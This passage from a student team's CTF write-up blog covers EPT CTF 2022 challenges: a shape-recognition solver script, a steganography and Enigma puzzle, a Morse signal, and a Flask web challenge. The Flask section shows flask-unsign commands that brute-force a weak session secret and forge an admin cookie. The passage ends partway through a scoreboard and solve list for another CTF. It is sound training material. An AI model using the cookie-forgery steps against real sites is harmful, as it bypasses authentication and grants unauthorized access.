<span class="nb">file</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">tmp</span><span class="p">)</span>
<span class="c1"># Read the image in to cv2 library
</span> <span class="n">img</span> <span class="o">=</span> <span class="n">cv2</span><span class="p">.</span><span class="n">imread</span><span class="p">(</span><span class="s">"./shapes.png"</span><span class="p">)</span>
<span class="c1"># Get colors from all the shapes and add it to the relevant shapes
</span> <span class="p">(</span><span class="n">b</span><span class="p">,</span> <span class="n">g</span><span class="p">,</span> <span class="n">r</span><span class="p">)</span> <span class="o">=</span> <span class="n">img</span><span class="p">[</span><span class="mi">125</span><span class="p">,</span> <span class="mi">125</span><span class="p">]</span>
<span class="n">colors</span><span class="p">[</span><span class="s">"nw"</span><span class="p">]</span> <span class="o">=</span> <span class="n">rgb_to_name</span><span class="p">((</span><span class="n">r</span><span class="p">,</span> <span class="n">g</span><span class="p">,</span> <span class="n">b</span><span class="p">))</span>
<span class="p">(</span><span class="n">b</span><span class="p">,</span> <span class="n">g</span><span class="p">,</span> <span class="n">r</span><span class="p">)</span> <span class="o">=</span> <span class="n">img</span><span class="p">[</span><span class="mi">125</span><span class="p">,</span> <span class="mi">375</span><span class="p">]</span>
<span class="n">colors</span><span class="p">[</span><span class="s">"ne"</span><span class="p">]</span> <span class="o">=</span> <span class="n">rgb_to_name</span><span class="p">((</span><span class="n">r</span><span class="p">,</span> <span class="n">g</span><span class="p">,</span> <span class="n">b</span><span class="p">))</span>
<span class="p">(</span><span class="n">b</span><span class="p">,</span> <span class="n">g</span><span class="p">,</span> <span class="n">r</span><span class="p">)</span> <span class="o">=</span> <span class="n">img</span><span class="p">[</span><span class="mi">375</span><span class="p">,</span> <span class="mi">125</span><span class="p">]</span>
<span class="n">colors</span><span class="p">[</span><span class="s">"sw"</span><span class="p">]</span> <span class="o">=</span> <span class="n">rgb_to_name</span><span class="p">((</span><span class="n">r</span><span class="p">,</span> <span class="n">g</span><span class="p">,</span> <span class="n">b</span><span class="p">))</span>
<span class="p">(</span><span class="n">b</span><span class="p">,</span> <span class="n">g</span><span class="p">,</span> <span class="n">r</span><span class="p">)</span> <span class="o">=</span> <span class="n">img</span><span class="p">[</span><span class="mi">375</span><span class="p">,</span> <span class="mi">375</span><span class="p">]</span>
<span class="n">colors</span><span class="p">[</span><span class="s">"se"</span><span class="p">]</span> <span class="o">=</span> <span class="n">rgb_to_name</span><span class="p">((</span><span class="n">r</span><span class="p">,</span> <span class="n">g</span><span class="p">,</span> <span class="n">b</span><span class="p">))</span>
<span class="c1"># If we are in level 2 -> change all the colours of the shapes to white
</span> <span class="k">if</span> <span class="n">counter</span> <span class="o">></span> <span class="mi">199</span><span class="p">:</span>
<span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">500</span><span class="p">):</span>
<span class="k">for</span> <span class="n">y</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">500</span><span class="p">):</span>
<span class="p">(</span><span class="n">b</span><span class="p">,</span> <span class="n">g</span><span class="p">,</span> <span class="n">r</span><span class="p">)</span> <span class="o">=</span> <span class="n">img</span><span class="p">[</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">]</span>
<span class="k">if</span> <span class="p">(</span><span class="n">r</span><span class="p">,</span> <span class="n">g</span><span class="p">,</span> <span class="n">b</span><span class="p">)</span> <span class="o">!=</span> <span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">):</span>
<span class="n">img</span><span class="p">[</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span><span class="mi">255</span><span class="p">,</span> <span class="mi">255</span><span class="p">,</span> <span class="mi">255</span><span class="p">)</span>
<span class="c1"># Do amazing machine learning to detect shapes
</span> <span class="n">gray</span> <span class="o">=</span> <span class="n">cv2</span><span class="p">.</span><span class="n">cvtColor</span><span class="p">(</span><span class="n">img</span><span class="p">,</span> <span class="n">cv2</span><span class="p">.</span><span class="n">COLOR_BGR2GRAY</span><span class="p">)</span> <span class="c1"># Convert image to grayscale
</span> <span class="n">thresh</span> <span class="o">=</span> <span class="n">cv2</span><span class="p">.</span><span class="n">threshold</span><span class="p">(</span><span class="n">gray</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">255</span><span class="p">,</span> <span class="n">cv2</span><span class="p">.</span><span class="n">THRESH_BINARY</span> <span class="o">+</span> <span class="n">cv2</span><span class="p">.</span><span class="n">THRESH_OTSU</span><span class="p">)[</span><span class="mi">1</span><span class="p">]</span> <span class="c1"># Convert image to binary
</span>
<span class="n">ROI_number</span> <span class="o">=</span> <span class="mi">0</span>
<span class="n">cnts</span> <span class="o">=</span> <span class="n">cv2</span><span class="p">.</span><span class="n">findContours</span><span class="p">(</span><span class="n">thresh</span><span class="p">,</span> <span class="n">cv2</span><span class="p">.</span><span class="n">RETR_EXTERNAL</span><span class="p">,</span> <span class="n">cv2</span><span class="p">.</span><span class="n">CHAIN_APPROX_SIMPLE</span><span class="p">)</span>
<span class="n">cnts</span> <span class="o">=</span> <span class="n">cnts</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">cnts</span><span class="p">)</span> <span class="o">==</span> <span class="mi">2</span> <span class="k">else</span> <span class="n">cnts</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
<span class="k">for</span> <span class="n">cnt</span> <span class="ow">in</span> <span class="n">cnts</span><span class="p">:</span>
<span class="n">approx</span> <span class="o">=</span> <span class="n">cv2</span><span class="p">.</span><span class="n">approxPolyDP</span><span class="p">(</span><span class="n">cnt</span><span class="p">,</span> <span class="mf">0.01</span> <span class="o">*</span> <span class="n">cv2</span><span class="p">.</span><span class="n">arcLength</span><span class="p">(</span><span class="n">cnt</span><span class="p">,</span> <span class="bp">True</span><span class="p">),</span> <span class="bp">True</span><span class="p">)</span>
<span class="c1"># Draw border around the shapes
</span> <span class="c1"># cv2.drawContours(img, [cnt], 0, (0, 0, 255), 5)
</span>
<span class="n">M</span> <span class="o">=</span> <span class="n">cv2</span><span class="p">.</span><span class="n">moments</span><span class="p">(</span><span class="n">cnt</span><span class="p">)</span>
<span class="k">if</span> <span class="n">M</span><span class="p">[</span><span class="s">"m00"</span><span class="p">]</span> <span class="o">!=</span> <span class="mf">0.0</span><span class="p">:</span>
<span class="n">x</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">M</span><span class="p">[</span><span class="s">"m10"</span><span class="p">]</span> <span class="o">/</span> <span class="n">M</span><span class="p">[</span><span class="s">"m00"</span><span class="p">])</span>
<span class="n">y</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">M</span><span class="p">[</span><span class="s">"m01"</span><span class="p">]</span> <span class="o">/</span> <span class="n">M</span><span class="p">[</span><span class="s">"m00"</span><span class="p">])</span>
<span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">approx</span><span class="p">)</span> <span class="o">==</span> <span class="mi">3</span><span class="p">:</span>
<span class="n">shapes</span><span class="p">[</span><span class="n">getCorner</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">)]</span> <span class="o">=</span> <span class="s">"triangle"</span>
<span class="k">elif</span> <span class="nb">len</span><span class="p">(</span><span class="n">approx</span><span class="p">)</span> <span class="o">==</span> <span class="mi">4</span><span class="p">:</span>
<span class="n">shapes</span><span class="p">[</span><span class="n">getCorner</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">)]</span> <span class="o">=</span> <span class="s">"rectangle"</span>
<span class="k">elif</span> <span class="nb">len</span><span class="p">(</span><span class="n">approx</span><span class="p">)</span> <span class="o">==</span> <span class="mi">6</span><span class="p">:</span>
<span class="n">shapes</span><span class="p">[</span><span class="n">getCorner</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">)]</span> <span class="o">=</span> <span class="s">"hexagon"</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">shapes</span><span class="p">[</span><span class="n">getCorner</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">)]</span> <span class="o">=</span> <span class="s">"circle"</span>
<span class="c1"># Save new image with drawn contours
</span> <span class="c1"># cv2.imwrite('./new_shapes.png', img)
</span> <span class="k">return</span> <span class="n">shapes</span><span class="p">,</span> <span class="n">img</span><span class="p">,</span> <span class="n">colors</span>
<span class="c1"># Interact with the program until it sends us the image
</span><span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"ready?"</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">"yes"</span><span class="p">)</span>
<span class="c1"># LEVEL 1
# Loop through and answer 200 questions
</span><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">200</span><span class="p">):</span>
<span class="c1"># Get image of shapes and save the question
</span> <span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span>
<span class="n">spm</span> <span class="o">=</span> <span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span>
<span class="n">shape</span> <span class="o">=</span> <span class="n">spm</span><span class="p">.</span><span class="n">split</span><span class="p">()[</span><span class="mi">3</span><span class="p">].</span><span class="n">decode</span><span class="p">()</span>
<span class="c1"># Run findShapes() on the image and return a dict of {"location": "shape"} pairs
</span> <span class="n">b_64</span> <span class="o">=</span> <span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">().</span><span class="n">strip</span><span class="p">().</span><span class="n">decode</span><span class="p">()</span>
<span class="n">tmp</span> <span class="o">=</span> <span class="n">b64decode</span><span class="p">(</span><span class="n">b_64</span><span class="p">)</span>
<span class="n">shapes</span><span class="p">,</span> <span class="n">img</span><span class="p">,</span> <span class="n">colors</span> <span class="o">=</span> <span class="n">findShapes</span><span class="p">(</span><span class="n">tmp</span><span class="p">)</span>
<span class="c1"># Get the answer to the question of the location (If spm=triangle this returns location sw)
</span> <span class="n">ans</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="n">shapes</span><span class="p">.</span><span class="n">keys</span><span class="p">())[</span><span class="nb">list</span><span class="p">(</span><span class="n">shapes</span><span class="p">.</span><span class="n">values</span><span class="p">()).</span><span class="n">index</span><span class="p">(</span><span class="n">shape</span><span class="p">)]</span>
<span class="c1"># Send answer to program
</span> <span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">ans</span><span class="p">)</span>
<span class="n">counter</span> <span class="o">+=</span> <span class="mi">1</span>
<span class="k">print</span><span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="n">spm</span><span class="p">,</span> <span class="n">shapes</span><span class="p">,</span> <span class="n">colors</span><span class="p">,</span> <span class="n">ans</span><span class="p">)</span> <span class="c1"># Print debug information
</span>
<span class="c1"># LEVEL 2
</span><span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span>
<span class="k">print</span><span class="p">(</span><span class="s">"#############</span><span class="se">\n</span><span class="s">level 2</span><span class="se">\n</span><span class="s">################"</span><span class="p">)</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">200</span><span class="p">):</span>
<span class="c1"># Get shapes and colors from question
</span> <span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span>
<span class="n">spm</span> <span class="o">=</span> <span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span>
<span class="n">color</span> <span class="o">=</span> <span class="n">spm</span><span class="p">.</span><span class="n">split</span><span class="p">()[</span><span class="mi">3</span><span class="p">].</span><span class="n">decode</span><span class="p">()</span>
<span class="n">shape</span> <span class="o">=</span> <span class="n">spm</span><span class="p">.</span><span class="n">split</span><span class="p">()[</span><span class="mi">4</span><span class="p">].</span><span class="n">decode</span><span class="p">()</span>
<span class="c1"># Gets dict of {"location": "shape"} pairs and {"location": "color"} pairs
</span> <span class="n">b_64</span> <span class="o">=</span> <span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">().</span><span class="n">strip</span><span class="p">().</span><span class="n">decode</span><span class="p">()</span>
<span class="n">tmp</span> <span class="o">=</span> <span class="n">b64decode</span><span class="p">(</span><span class="n">b_64</span><span class="p">)</span>
<span class="n">shapes</span><span class="p">,</span> <span class="n">img</span><span class="p">,</span> <span class="n">colors</span> <span class="o">=</span> <span class="n">findShapes</span><span class="p">(</span><span class="n">tmp</span><span class="p">)</span>
<span class="c1"># Returns possible locations of both the shape dict and color dict, based on the question
</span> <span class="n">possibleShapes</span> <span class="o">=</span> <span class="p">[</span><span class="n">k</span> <span class="k">for</span> <span class="n">k</span><span class="p">,</span> <span class="n">v</span> <span class="ow">in</span> <span class="n">shapes</span><span class="p">.</span><span class="n">items</span><span class="p">()</span> <span class="k">if</span> <span class="n">v</span> <span class="o">==</span> <span class="n">shape</span><span class="p">]</span>
<span class="n">possibleColors</span> <span class="o">=</span> <span class="p">[</span><span class="n">k</span> <span class="k">for</span> <span class="n">k</span><span class="p">,</span> <span class="n">v</span> <span class="ow">in</span> <span class="n">colors</span><span class="p">.</span><span class="n">items</span><span class="p">()</span> <span class="k">if</span> <span class="n">v</span> <span class="o">==</span> <span class="n">color</span><span class="p">]</span>
<span class="c1"># Checks what location is the same in possible locations of both shapes and colors
</span> <span class="k">for</span> <span class="n">pos</span> <span class="ow">in</span> <span class="n">possibleShapes</span><span class="p">:</span>
<span class="k">if</span> <span class="n">pos</span> <span class="ow">in</span> <span class="n">possibleColors</span><span class="p">:</span>
<span class="n">ans</span> <span class="o">=</span> <span class="n">pos</span>
<span class="c1"># Send answer
</span> <span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">ans</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="n">spm</span><span class="p">,</span> <span class="n">shapes</span><span class="p">,</span> <span class="n">colors</span><span class="p">,</span> <span class="n">ans</span><span class="p">)</span> <span class="c1"># Debug information
</span>
<span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span> <span class="c1"># Get the flag
</span>
</pre></td></tr></tbody></table></code></pre></div></div>
<h3 id="flag-10">Flag</h3>
<p><code class="language-plaintext highlighter-rouge">EPT{2b3a1b85-abcd-4216-ba56-f3323180a918}</code></p>
<hr />
<h1 id="category-stego">Category: Stego</h1>
<h2 id="challenge-stegojærsk-crypto">Challenge: Stego/jærsk crypto</h2>
<h3 id="description-11">Description</h3>
<p>No frills. Pure organic 100% guess-free† fully authentic and original‡ crypto.</p>
<p>(This challenge is valued minimum points because it is an antimodel of a CTF challenge*, not because it is easy.)</p>
<p>†If you know what to do.
‡Slightly inspired by the emerging underground Mexican crypto scene.
*As decided by self pro-claimed independent EPT CTF experts.</p>
<h3 id="solution-11">Solution</h3>
<p>We are given a PowerPoint-file, containing 3 slides with text and one picture on each slide. The content of the slides does not look interesting at first - and as this is a stego-challange, I assume we have to look deeper.</p>
<p>By decompressing the PPT-file using 7-zip, we get all the files inside the ppt.</p>
<p>By <code class="language-plaintext highlighter-rouge">cat</code>-ing the first file: <code class="language-plaintext highlighter-rouge">[Conetent_types].xml</code> - we find this:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>Enigma('3-rotor','LEYJVCNIXWPBQMDRTAKZGFUHOS','A','A','ESOVPZJAYQUIRHXLNFTGKDCMWB<K','L','G','VZBRGITYUPSDNHLXAWMJQOFECK<A','A','A','BDFHJLCPRTXVZNYEIWGAKMUSQO<W','I','J','AF BV CP DJ EI GO HY KR LZ MX NW TQ SU','?? ?? ?? ?? ??',true)
</pre></td></tr></tbody></table></code></pre></div></div>
<p>This challenge probably wants us to decipher a text using enigma!</p>
<p>Looking through the rest of the files:
We can see that there are four pictures in the media folder, one more than we could see in the powerpoint slides. By looking at the filesizes, we see that the image not seen in the ppt slides is way larger than the others. I assume that some data is hidden here - so I copy the image file in a <code class="language-plaintext highlighter-rouge">temp</code> folder, and run a container “<a href="https://github.com/DominicBreuker/stego-toolkit">DominicBreuker’s Stego-tools</a>” to try out different stego-tools.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>docker run -it --rm -v $(pwd):/data dominicbreuker/stego-toolkit /bin/bash
</pre></td></tr></tbody></table></code></pre></div></div>
<p>From the results given by<code class="language-plaintext highlighter-rouge">stegdetect</code>, it looks like there is an <strong>ID3</strong> audio-file hidden inside the image.</p>
<p><img src="https://s3.eu-north-1.amazonaws.com/julianhal/uploads/404cf342-fcc2-4a04-8ce3-d5e47360b4fa.png" alt="" /></p>
<p>I couldn’t find any tool that would extract this audio file, so I manually extracted it with <a href="hexed.it">hexed.it</a>, by searcing for the <strong>ID3 file signature</strong>.</p>
<p><a href="https://en.wikipedia.org/wiki/List_of_file_signatures">Wikipedia</a> shows us that the the file signature for <strong>ID3 mp3</strong> is <code class="language-plaintext highlighter-rouge">49 44 33</code>.
<img src="https://s3.eu-north-1.amazonaws.com/julianhal/uploads/0ef034a6-2753-46ec-abac-b37601cfac90.png" alt="" /></p>
<p>By searching for <code class="language-plaintext highlighter-rouge">49 44 43</code> in <code class="language-plaintext highlighter-rouge">image4.jpeg</code> on <a href="hexed.it">hexed.it</a>, we get a hit. We successfully extract the audio-file by deleting everything before these numbers, and saving the remaining data as <code class="language-plaintext highlighter-rouge">sound.mp3</code>.</p>
<p>The mp3-file plays an Norwegian song, but does not give any clues to the challange. I move the audio file to the container as mentioned earlier, to do some more stego attempts on this file.</p>
<p>After trying different stego-tools, we get a hit using <strong>hideme</strong>. “FARSELUNCH” is the recovered message. The length of this string fits with the “?? ?? ?? ??” on the “enigma”-string.</p>
<p><img src="https://s3.eu-north-1.amazonaws.com/julianhal/uploads/01e989c4-cc6c-4884-b736-97a0716f153c.png" alt="" /></p>
<p>It seems like we have all the parts for the enigma decryption, except the cipher-text itself.</p>
<p>By looking at the picture <code class="language-plaintext highlighter-rouge">image4</code> - we can see some some text in the upper-left part of the picture. This is probably the ciphertext to be decrypted with enigma.</p>
<p><img src="https://s3.eu-north-1.amazonaws.com/julianhal/uploads/2ff8c6de-8965-4ebf-8ea4-514a95d73537.png" alt="" /></p>
<p>Cyberchef has a enigma recipie that we can use!
By pasting the string:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>Enigma('3-rotor','LEYJVCNIXWPBQMDRTAKZGFUHOS','A','A','ESOVPZJAYQUIRHXLNFTGKDCMWB<K','L','G','VZBRGITYUPSDNHLXAWMJQOFECK<A','A','A','BDFHJLCPRTXVZNYEIWGAKMUSQO<W','I','J','AF BV CP DJ EI GO HY KR LZ MX NW TQ SU','FA RS EL UN CH',true)
</pre></td></tr></tbody></table></code></pre></div></div>
<p>into the URI, after <code class="language-plaintext highlighter-rouge">https://icyberchef.com/#recipe=</code> - we easily get the correct setup in CyberChef. In the Input-field, we enter the text from image4.</p>
<p><img src="https://s3.eu-north-1.amazonaws.com/julianhal/uploads/62572e23-a059-4c05-9523-20542e33cbdd.png" alt="" /></p>
<p>By taking the output and removing spaces and replacing “BRACKET” with “{“ and “}”, and “UNDERSCORE” with “_”, we get the flag:</p>
<h3 id="flag-11">Flag</h3>
<p><code class="language-plaintext highlighter-rouge">EPT{NEXT_LEVEL_CRYPTO}</code></p>
<hr />
<h1 id="category-web">Category: Web</h1>
<h2 id="webflask">Web/flask</h2>
<h3 id="description-12">Description</h3>
<p>Only users registered as admin should be allowed to view the flag.</p>
<p>Site: flasksessions.io.ept.gg</p>
<h3 id="solution-12">Solution</h3>
<p>When opening the website we are presented with a minimal login screen.
<img src="https://s3.eu-north-1.amazonaws.com/julianhal/uploads/7921ffef-eba5-44cf-ac61-441cd096166a.png" alt="" /></p>
<p>When reviewing the code we can see that if we register the name admin it will abort and give us a 403 (forbidden). But when looking at the page which will give us the flag it will only give us the flag if our name is admin. The name was read from the session-cookie.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
</pre></td><td class="rouge-code"><pre> <span class="k">if</span> <span class="n">name</span> <span class="o">==</span> <span class="s">"admin"</span><span class="p">:</span>
<span class="n">abort</span><span class="p">(</span><span class="mi">403</span><span class="p">)</span>
<span class="p">...</span>
<span class="n">name</span> <span class="o">=</span> <span class="n">session</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'name'</span><span class="p">)</span>
<span class="k">if</span> <span class="n">name</span> <span class="ow">and</span> <span class="n">name</span> <span class="o">==</span> <span class="s">"admin"</span><span class="p">:</span>
<span class="k">return</span> <span class="n">make_response</span><span class="p">(</span><span class="n">render_template</span><span class="p">(</span><span class="s">'index.html'</span><span class="p">,</span> <span class="n">name</span><span class="o">=</span><span class="n">name</span><span class="p">,</span> <span class="n">flag</span><span class="o">=</span><span class="n">flag</span><span class="p">))</span>
</pre></td></tr></tbody></table></code></pre></div></div>
<p>When logged in as something different than admin a cookie is generated for us.
<img src="https://s3.eu-north-1.amazonaws.com/julianhal/uploads/7fd40599-f76f-45a5-8a62-f5c70024df87.png" alt="" />
This cookie can be decoded.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre>$ flask-unsign --decode --cookie "eyJuYW1lIjoiRmVzc2VNaXNrIn0.Y2tf5w.COcKdbnP6Tq6v5cMSilh6rLxPt4"
{'name': 'FesseMisk'}
</pre></td></tr></tbody></table></code></pre></div></div>
<p>Now it seemed obvious what we were to do to get our flag. We needed to change the cookie from <code class="language-plaintext highlighter-rouge">{'name': 'FesseMisk'} </code> to <code class="language-plaintext highlighter-rouge">{'name': 'admin'}</code>.
Even though we managed to decode a cookie without problem, it isn’t as easy to sign a new one. We need the secret_key so propperly sign our cookie. This is a security mechanism used to prevent hacking attempts that change cookie values as we are doing now. Luckily we have the application code and can see what the secret_key for signing cookies is.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
</pre></td><td class="rouge-code"><pre><span class="k">def</span> <span class="nf">generate_random_key</span><span class="p">():</span>
<span class="n">key</span> <span class="o">=</span> <span class="n">randbytes</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="n">key</span> <span class="o">+=</span> <span class="n">choice</span><span class="p">(</span><span class="n">ascii_lowercase</span><span class="p">).</span><span class="n">encode</span><span class="p">(</span><span class="s">"ascii"</span><span class="p">)</span>
<span class="k">return</span> <span class="n">key</span>
<span class="p">...</span>
<span class="n">app</span><span class="p">.</span><span class="n">secret_key</span> <span class="o">=</span> <span class="n">generate_random_key</span><span class="p">()</span>
</pre></td></tr></tbody></table></code></pre></div></div>
<p>Using two bytes as a secret key is definitly not a secure key.
A wordlist was made out of the two possible bytes <code class="language-plaintext highlighter-rouge">[ (0,255), (97,122) ]</code> and used to brute force the correct signing key.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
</pre></td><td class="rouge-code"><pre>$ flask-unsign --unsign --cookie "eyJuYW1lIjoiRmVzc2VNaXNrIn0.Y2tf5w.COcKdbnP6Tq6v5cMSilh6rLxPt4" --wordlist wl.txt
...
[+] secret found after 640 attempts
'\x13x'
</pre></td></tr></tbody></table></code></pre></div></div>
<p>It was a easy key to bruteforce, and now that we have it we can sign our new cookie. Passing the byte 0x13 as an agrument was a hurdle for us to overcome, but is done as shown below.</p>
<p><code class="language-plaintext highlighter-rouge">flask-unsign --sign --cookie "{'name': 'admin'}" --secret $'\x13x'</code></p>
<p>With our new cookie containing <code class="language-plaintext highlighter-rouge">'name': 'admin'</code> signed with the correct key we are good to go! Copy it and paste this into the session cookie value field before updating the page gave us access to the admin site and thus the flag. <img src="https://s3.eu-north-1.amazonaws.com/julianhal/uploads/e677eaed-b011-4594-932f-576c52c2ef76.png" alt="" /></p>
<h3 id="flag-12">Flag</h3>
<p><code class="language-plaintext highlighter-rouge">EPT{flask-sessions-with-weak-key-is-no-goodie}</code></p>
<hr />
<h1 id="category-onsite">Category: OnSite</h1>
<h2 id="onsiteept-signals">OnSite/EPT Signals</h2>
<h3 id="description-13">Description</h3>
<p>There is an EPT signal in the room. What is it trying to tell you?</p>
<p>flag = flag.replace(“(“, “{“).replace(“)”, “}”).replace(“-“, “_”).upper()</p>
<h3 id="solution-13">Solution</h3>
<p>We filmed the sign with a video camera and manually recreated the moorse signal. Decoding this moorse code gave us the flag.</p>
<p>Why do it the engineering way when you can do it the easy way.</p>
<h3 id="flag-13">Flag</h3>
<p><code class="language-plaintext highlighter-rouge">EPT{WELL_DONE_MORSE_IS_C00L}</code></p>FesseMiskOver the weekend 8th-9th of November we joined EPT’s CTF at their onsite CTF in Oslo. EPT is Equinors CTF team, which won the defcon red team CTF 2022, and the whole CTF was sponsored by Equinor. We were placed at an 8th place in the student category and 28th overall among over 100 competing teams which included most of Norways CTF scene.OP HOLMGANG - Writeup2022-10-07T00:00:00+00:002022-10-10T00:00:00+00:00https://www.fessemisk.com/writeup/op_homlgang<h1 id="intro">Intro</h1>
<p>OP HOLMGANG was a CTF hosted by Kripos, a special agency of the Norwegian Police Service, for the University of Oslo, but it was open to the public. Although it was a classic jepoardy-style CTF, it was special in the sence that every chall was connected up to a central incidenct. It was all made to look like an actual police investigation, which made the CTF a lot more fun. The Case Summary can be read here, <a href="/assets/2022-09-04-op_homlgang/case_summary.pdf">case_summary.pdf</a>.</p>
<p>This was the first CTF we competed in as a team, and we are very pleased with how well it went. Ending at 8th place, and possibly the highest scoring student team, was not something we expected beforehand.</p>
<h2 id="scoreboard">Scoreboard</h2>
<table>
<thead>
<tr>
<th>Place</th>
<th>Team</th>
<th>Score</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>bootplug</td>
<td>130</td>
</tr>
<tr>
<td>2</td>
<td>coldboots</td>
<td>125</td>
</tr>
<tr>
<td>3</td>
<td>RumbleInTheJungle</td>
<td>125</td>
</tr>
<tr>
<td>4</td>
<td>give cake</td>
<td>115</td>
</tr>
<tr>
<td>5</td>
<td>The Long Quay</td>
<td>115</td>
</tr>
<tr>
<td>6</td>
<td>Corax</td>
<td>100</td>
</tr>
<tr>
<td>7</td>
<td>i773</td>
<td>100</td>
</tr>
<tr>
<td>8</td>
<td>FesseMisk</td>
<td>95</td>
</tr>
<tr>
<td>9</td>
<td>КГБ</td>
<td>92</td>
</tr>
<tr>
<td>10</td>
<td>støvelpropp</td>
<td>90</td>
</tr>
</tbody>
</table>
<h2 id="solves-for-our-team">Solves for our team</h2>
<table>
<thead>
<tr>
<th>Challenge</th>
<th>Category</th>
<th>Value</th>
<th>Time</th>
</tr>
</thead>
<tbody>
<tr>
<td>Solve me first</td>
<td>Start here</td>
<td>0</td>
<td>September 21st, 10:01:59 AM</td>
</tr>
<tr>
<td><a href="#match---shredder">Password match - Shredder</a></td>
<td>Password</td>
<td>3</td>
<td>September 21st, 12:01:31 PM</td>
</tr>
<tr>
<td><a href="#chattomato---get-access">ChatTomato - Get access</a></td>
<td>Chat</td>
<td>5</td>
<td>September 21st, 12:59:37 PM</td>
</tr>
<tr>
<td><a href="#chattomato---fetch-contents">ChatTomato - Fetch contents</a></td>
<td>Chat</td>
<td>5</td>
<td>September 21st, 1:00:30 PM</td>
</tr>
<tr>
<td><a href="#match---belongs-to-whom">Password match - Belongs to whom?</a></td>
<td>Password</td>
<td>7</td>
<td>September 21st, 1:02:36 PM</td>
</tr>
<tr>
<td><a href="#wheres-the-money-hidden---phone-number">Where’s the money hidden - Phone number</a></td>
<td>Location</td>
<td>3</td>
<td>September 21st, 1:30:14 PM</td>
</tr>
<tr>
<td><a href="#wheres-the-money-hidden---address">Where’s the money hidden - Address</a></td>
<td>Location</td>
<td>4</td>
<td>September 21st, 1:51:58 PM</td>
</tr>
<tr>
<td><a href="#wheres-the-money-hidden---location">Where’s the money hidden - Location</a></td>
<td>Location</td>
<td>3</td>
<td>September 21st, 2:20:53 PM</td>
</tr>
<tr>
<td>Be concrete - Methods</td>
<td>Chemistry</td>
<td>3</td>
<td>September 21st, 2:34:49 PM</td>
</tr>
<tr>
<td>Be concrete - Afterthought</td>
<td>Chemistry</td>
<td>3</td>
<td>September 21st, 2:38:42 PM</td>
</tr>
<tr>
<td>Be concrete - Conclusion</td>
<td>Chemistry</td>
<td>4</td>
<td>September 21st, 2:49:27 PM</td>
</tr>
<tr>
<td>Documents schmockuments - Comparison</td>
<td>Forgery</td>
<td>5</td>
<td>September 21st, 5:00:39 PM</td>
</tr>
<tr>
<td><a href="#credential-custodian">Credential Custodian</a></td>
<td>Reversing</td>
<td>10</td>
<td>September 21st, 6:27:26 PM</td>
</tr>
<tr>
<td><a href="#criminal-polyglot">Criminal polyglot</a></td>
<td>Language</td>
